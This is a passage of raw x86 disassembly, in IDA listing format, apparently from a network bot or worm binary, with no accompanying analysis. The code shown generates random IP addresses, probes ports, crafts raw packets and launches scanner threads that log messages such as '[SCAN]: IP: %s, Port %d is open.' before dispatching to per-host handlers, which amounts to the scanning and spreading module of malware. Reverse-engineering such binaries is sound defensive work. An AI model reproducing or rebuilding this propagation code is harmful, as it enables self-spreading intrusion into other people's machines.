		push	offset byte_4D8075
		call	sub_401857
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BEA
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402284
		mov	al, 1
		jmp	loc_422F3B
sub_422B40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4236F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_448F30
		mov	ecx, offset dword_449958
		setnz	bl
		call	sub_4014DD
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D8075
		call	sub_401857
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_445428[eax*4]
		inc	ecx
		mov	dword_445428[eax*4], ecx
		mov	al, 1
		retn
sub_4236F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401E10j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50FAA8
		nop
		call	sub_5FC011
		mov	eax, offset dword_50FAA8
		add	esp, 2Ch
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423820	proc near		; CODE XREF: sub_401F55j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50DB50[esi*8]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		inc	eax
		push	eax
		call	near ptr 71AB2BC0h
		nop
		mov	dword_50DB50[esi*8], eax
		pop	esi
		retn
sub_423820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423860	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423892
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423892:				; CODE XREF: sub_423860+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	near ptr 77C41B72h
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_511AC8
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4238CA
		call	esi	; rand
		mov	[esp+1Ch+var_8], eax


loc_4238CA:				; CODE XREF: sub_423860+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4238D6
		call	esi	; rand
		mov	[esp+1Ch+var_C], eax


loc_4238D6:				; CODE XREF: sub_423860+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4238E2
		call	esi	; rand
		mov	[esp+1Ch+var_10], eax


loc_4238E2:				; CODE XREF: sub_423860+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4238EC
		call	esi	; rand


loc_4238EC:				; CODE XREF: sub_423860+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50DB50[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423860	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423950	proc near		; CODE XREF: sub_401E56j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42397E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42397E:				; CODE XREF: sub_423950+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		nop
		call	near ptr 71AB2DC0h
		push	esi
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423950	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423A40:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, dword_511C38
		push	esi
		push	edi
		push	2649h
		call	ebp	; ntohs
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp	; ntohs
		mov	[esp+26h], ax
		call	near ptr 77C371D3h
		nop
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp	; ntohs
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp	; ntohs
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A37
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp	; ntohs
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423B69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423C68
; ---------------------------------------------------------------------------


loc_423B69:				; CODE XREF: ___:00423B5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		call	near ptr 71AB2C69h
		nop
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423BC2
		nop
		call	near ptr 71AB94DCh
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		call	sub_5FC011
		nop
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423BC2:				; CODE XREF: ___:00423B87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423C13
		mov	edi, dword_511C64


loc_423BEA:				; CODE XREF: ___:00423C11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi	; recvfrom
		test	eax, eax
		jl	short loc_423C42
		cmp	[esp+0FEh], bp
		jnz	short loc_423BEA


loc_423C13:				; CODE XREF: ___:00423BE2j
		push	esi
		nop
		call	near ptr 71AB9639h
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423C63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C42:				; CODE XREF: ___:00423C07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C63:				; CODE XREF: ___:00423C23j
		push	offset dword_4456E4


loc_423C68:				; CODE XREF: ___:00423B64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423D10:				; CODE XREF: ___:loc_401F41j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		nop
		call	near ptr 2800B86h
		push	eax
		nop
		call	near ptr 77C371BCh
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:44AF8Bh[eax*4]
		mov	eax, dword_44B18F[eax*4]
		mov	ecx, dword_50DB54[eax*8]
		test	ecx, ecx
		jz	loc_423FBE
		mov	ebx, off_511C00


loc_423D8C:				; CODE XREF: ___:00423FB4j
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423DA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423DAF
; ---------------------------------------------------------------------------


loc_423DA7:				; CODE XREF: ___:00423D96j
		call	sub_401F55
		add	esp, 4


loc_423DAF:				; CODE XREF: ___:00423DA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_511C88
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx ; sub_5FC011
		lea	ecx, [esp+238h]
		push	ecx
		push	ebp
		call	ebx ; sub_5FC011
		mov	edx, [esp+150h]
		mov	eax, [esp+14Ch]
		push	edx
		push	eax
		push	esi
		call	sub_401E56
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_423F9A
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423EBF
		push	offset dword_50FA90
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx ; sub_5FC011
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423E9F
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423E7A
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423E97
; ---------------------------------------------------------------------------


loc_423E7A:				; CODE XREF: ___:00423E56j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423E97:				; CODE XREF: ___:00423E78j
		call	sub_40152D
		add	esp, 10h


loc_423E9F:				; CODE XREF: ___:00423E4Bj
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50FA90
		nop
		call	near ptr 7C9010EDh
		jmp	loc_423F9A
; ---------------------------------------------------------------------------


loc_423EBF:				; CODE XREF: ___:00423E13j
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx ; sub_5FC011
		mov	eax, [esp+150h]
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+200h]
		lea	edx, ds:4453F8h[ecx*4]
		push	edx
		push	eax
		call	ebx ; sub_5FC011
		mov	al, [esp+0B8h]
		add	esp, 10h
		test	al, al
		jz	short loc_423F0C
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423F19
; ---------------------------------------------------------------------------


loc_423F0C:				; CODE XREF: ___:00423EF8j
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423F19:				; CODE XREF: ___:00423F0Aj
		call	ebx ; sub_5FC011
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_445424[edx*4]
		add	esp, 0BCh


loc_423F9A:				; CODE XREF: ___:00423E05j
					; ___:00423EBAj
		push	7D0h
		call	near ptr 2841E5Ch
		nop
		mov	eax, [ebp+204h]
		mov	ecx, dword_50DB54[eax*8]
		test	ecx, ecx
		jnz	loc_423D8C
		mov	esi, [esp+10h]


loc_423FBE:				; CODE XREF: ___:00423D80j
		push	esi
		call	sub_401E3D
		add	esp, 4
		push	0
		nop
		call	near ptr 2850000h
		nop
; ---------------------------------------------------------------------------
		db 0B0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_402284j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50DB50[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_40148D
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424101
		push	offset dword_50FA90
		nop
		call	near ptr 27A08AFh
		push	offset dword_50FA90
		nop
		call	near ptr 27B0000h


loc_424101:				; CODE XREF: ___:004240E9j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_5118D8
		mov	esi, ebx
		mov	dword_50DB54[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, off_511C00
		jb	loc_424230
		mov	edi, dword_51186C


loc_424132:				; CODE XREF: ___:0042422Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx ; sub_5FC011
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BEA
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F41
		push	0
		push	0
		mov	dword_44B18F[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_44B19F[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_44B19F[eax*4]
		test	ecx, ecx
		jz	short loc_4241F8
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42421E


loc_4241E7:				; CODE XREF: ___:004241F4j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_4241E7
		jmp	short loc_42421E
; ---------------------------------------------------------------------------


loc_4241F8:				; CODE XREF: ___:004241DAj
		call	near ptr 27E0840h
		nop
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx ; sub_5FC011
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42421E:				; CODE XREF: ___:004241E5j
					; ___:004241F6j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424132


loc_424230:				; CODE XREF: ___:00424126j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42425E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_424291
; ---------------------------------------------------------------------------


loc_42425E:				; CODE XREF: ___:00424239j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50DB54[ecx*8], esi
		jnz	short loc_424291


loc_424273:				; CODE XREF: ___:00424288j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50DB54[edx*8], esi
		jz	short loc_424273
		mov	eax, [esp+12Ch]


loc_424291:				; CODE XREF: ___:0042425Cj
					; ___:00424271j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50DB50[ecx*8]
		push	ecx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx ; sub_5FC011
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4242F2
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_40152D
		add	esp, 10h


loc_4242F2:				; CODE XREF: ___:004242CBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50DB54[eax*8], 0
		call	ebp
		push	3
		call	sub_40148D
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424334
		push	offset dword_50FA90
		call	near ptr 27A08AFh
		nop


loc_424334:				; CODE XREF: ___:00424327j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E3D
		add	esp, 4
		push	0
		nop
		call	near ptr 2850000h
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424410	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424410	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424430:				; CODE XREF: ___:004015EBj
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401843
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424480	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4244D2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4244D2:				; CODE XREF: sub_424480+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_424480	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4021F8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424574
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_424500	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245A0	proc near		; CODE XREF: sub_4016C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4245B3
		push	eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_4245B3:				; CODE XREF: sub_4245A0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4245A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245E0	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_4245F7
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4245F7:				; CODE XREF: sub_4245E0+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		call	near ptr 77C2C407h
		nop
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424625
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424625:				; CODE XREF: sub_4245E0+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424654
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42466F
; ---------------------------------------------------------------------------


loc_424654:				; CODE XREF: sub_4245E0+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42466F:				; CODE XREF: sub_4245E0+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_4245E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4246D0	proc near		; CODE XREF: sub_401B7Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
